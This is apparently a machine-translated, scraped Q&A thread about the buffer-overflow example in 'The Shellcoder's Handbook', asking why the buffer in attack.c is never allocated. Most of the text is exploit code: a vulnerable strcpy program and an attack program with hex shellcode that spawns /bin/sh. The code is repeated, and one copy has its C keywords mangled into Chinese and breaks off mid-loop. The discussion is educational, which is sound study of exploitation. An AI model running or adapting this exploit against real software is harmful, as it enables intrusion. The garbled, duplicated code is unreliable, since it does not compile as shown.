&引用;外壳编码器&x27;"儿童手册";攻击c没有意义
从“炮弹编码器手册”中,受害者c如下&引用;外壳编码器&x27;"儿童手册";攻击c没有意义,c,security,buffer-overflow,exploit,shellcode,C,Security,Buffer Overflow,Exploit,Shellcode,从“炮弹编码器手册”中,受害者c如下 // victim.c int main(int argc,char *argv[]) { char little_array[512]; if (argc > 1) strcpy(little_array,argv[1]); } #include <stdlib.h> #define offset_size 0 #define buffer_size
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
它的漏洞attack.c如下
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
#包括
#定义偏移量_大小0
#定义缓冲区大小512
字符sc[]=
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”//外壳代码(生成外壳)
未签名的长查找开始(无效){
__asm_uu(“movl%esp,%eax”);//获取esp的值并返回它。
}
int main(int argc,char*argv[])
{
字符*buff,*ptr;
long*addr_ptr,addr;//addr_ptr:程序检索其保存的EIP时要跳转到的NOP底座的地址。
int offset=偏移量大小,bsize=缓冲区大小;
int i;
如果(argc>1)bsize=atoi(argv[1]);
如果(argc>2)偏移量=atoi(argv[2]);
addr=find_start()-偏移量;
printf(“正在尝试的地址:0x%x\n”,addr);
ptr=buff;
addr_ptr=(长*)ptr;
对于(i=0;i
ptr=buff代码>将buff的垃圾值分配给ptr
(buff未初始化)。下一行,addr_ptr=(long*)ptr
,将ptr
的值(buff
的垃圾值)分配给addr\u ptr
。我不清楚作者在这些方面的意图。addr_ptr应该包含程序在检索保存的EIP时跳转到的地址,最好是NOP底座。但是,addr\u ptr
包含垃圾值
我认为应该首先使用malloc动态分配buff
我知道《Shellcoder手册》有很多错误,但它是为数不多的几本关于软件开发的书之一。第26行
addr = find_start() - offset;
addr
设置为目标返回地址,因此它不是真正的垃圾
据我所知,作者所做的是首先用addr
重复地填充整个缓冲区,这样既可以作为垃圾数据,也可以作为覆盖存储的EIP的返回地址。此外,如果缓冲区在堆栈上的DWORD对齐良好,这样做允许他们不关心放置返回地址的正确偏移量
然后用BUF=
覆盖该缓冲区“垃圾数据部分”的开头,后跟外壳代码。这是因为BUF=
的长度为4,因此不会破坏DWORD对齐
是应分配buff
。请注意,如果您在以下页面中检查了nopatack.c
,其中他们将NOP底座添加到攻击中,那么您会看到它确实在第28行分配:
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
此外,如果您比较
attack.c
和nopatack.c
,这些代码有相当大的差异(分配、变量和函数名,#定义大写的
常量…),这让人惊讶,因为后者的代码应该是前者之后的一次迭代。这表明他们在写这本书(或第二版)时,可能在某个时候进行了重构,错误可能来自于此。我已经考虑过了,我认为仍然应该进行malloced